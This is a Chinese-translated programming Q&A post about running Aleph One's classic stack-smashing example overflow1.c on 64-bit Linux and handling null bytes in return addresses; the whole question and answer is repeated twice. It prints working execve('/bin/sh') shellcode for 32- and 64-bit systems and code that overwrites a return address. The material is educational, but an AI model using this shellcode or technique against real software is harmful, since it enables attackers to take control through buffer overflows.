在 shellcode 中转义空字符
Escaping null characters in shellcode
我正在尝试从 Aleph One 的 Smashing the Stack for Fun and Profit 论文中执行 overflow1.c
。
原overflow1.c代码:
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
此代码在 32 位系统上运行良好。
我修改了代码以在 64 位系统上工作:
char shellcode[] = "\x48\x31\xc0" // xor %rax,%rax
"\x99" // cltd
"\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68" // mov [=11=]x68732f6e69622fff,%rdi
"\xb0\x3b" // mov [=11=]x3b,%al
"\x48\xc1\xef\x08" // shr [=11=]x8,%rdi
"\x57" // push %rdi
"\x48\x89\xe7" // mov %rsp,%rdi
"\x57" // push %rdi
"\x52" // push %rdx
"\x48\x89\xe6" // mov %rsp,%rsi
"\x0f\x05"; // syscall
char large_string[144];
int main(void) {
char buffer[96];
int i;
long int *long_ptr = (long int *) large_string;
printf("0x%x", buffer);
for (i = 0; i < 18; i++)
*(long_ptr + i) = (long int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
程序只加载shellcode,然后用buffer
的地址覆盖return的地址。该代码按预期工作。
然而,问题就出在这里。
假设 buffer
在 64 位系统上的地址是 0x7fffffffdc10
,然后 long int
将其转换为 0x00007fffffffdc10
。将其写入 large_string
时,00
充当空值并终止字符串。我该如何克服这个问题?
我不能将地址强制转换为整数,因为 64 位系统有 8 字节地址而不是 4 字节地址。如何转义“0x00”空字符?
你的large_string不是一个字符串,它是一个字节缓冲区。所以不要在上面使用字符串函数。
for (i = 0; i < sizeof(shellcode); i++)
large_string[i] = shellcode[i];
memcpy(buffer,large_string, sizeof(shellcode));
旁注:
- 为什么要先把buffer的地址写18次到large_string然后再覆盖large_string?
- 你有给定长度的 shellcode,构建 large_string 不同的长度,最后写入另一个长度的缓冲区。例如缓冲区比 large_string 短,这可能会导致问题。你应该做得更好。
我正在尝试从 Aleph One 的 Smashing the Stack for Fun and Profit 论文中执行 overflow1.c
。
原overflow1.c代码:
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
此代码在 32 位系统上运行良好。
我修改了代码以在 64 位系统上工作:
char shellcode[] = "\x48\x31\xc0" // xor %rax,%rax
"\x99" // cltd
"\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68" // mov [=11=]x68732f6e69622fff,%rdi
"\xb0\x3b" // mov [=11=]x3b,%al
"\x48\xc1\xef\x08" // shr [=11=]x8,%rdi
"\x57" // push %rdi
"\x48\x89\xe7" // mov %rsp,%rdi
"\x57" // push %rdi
"\x52" // push %rdx
"\x48\x89\xe6" // mov %rsp,%rsi
"\x0f\x05"; // syscall
char large_string[144];
int main(void) {
char buffer[96];
int i;
long int *long_ptr = (long int *) large_string;
printf("0x%x", buffer);
for (i = 0; i < 18; i++)
*(long_ptr + i) = (long int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
程序只加载shellcode,然后用buffer
的地址覆盖return的地址。该代码按预期工作。
然而,问题就出在这里。
假设 buffer
在 64 位系统上的地址是 0x7fffffffdc10
,然后 long int
将其转换为 0x00007fffffffdc10
。将其写入 large_string
时,00
充当空值并终止字符串。我该如何克服这个问题?
我不能将地址强制转换为整数,因为 64 位系统有 8 字节地址而不是 4 字节地址。如何转义“0x00”空字符?
你的large_string不是一个字符串,它是一个字节缓冲区。所以不要在上面使用字符串函数。
for (i = 0; i < sizeof(shellcode); i++)
large_string[i] = shellcode[i];
memcpy(buffer,large_string, sizeof(shellcode));
旁注:
- 为什么要先把buffer的地址写18次到large_string然后再覆盖large_string?
- 你有给定长度的 shellcode,构建 large_string 不同的长度,最后写入另一个长度的缓冲区。例如缓冲区比 large_string 短,这可能会导致问题。你应该做得更好。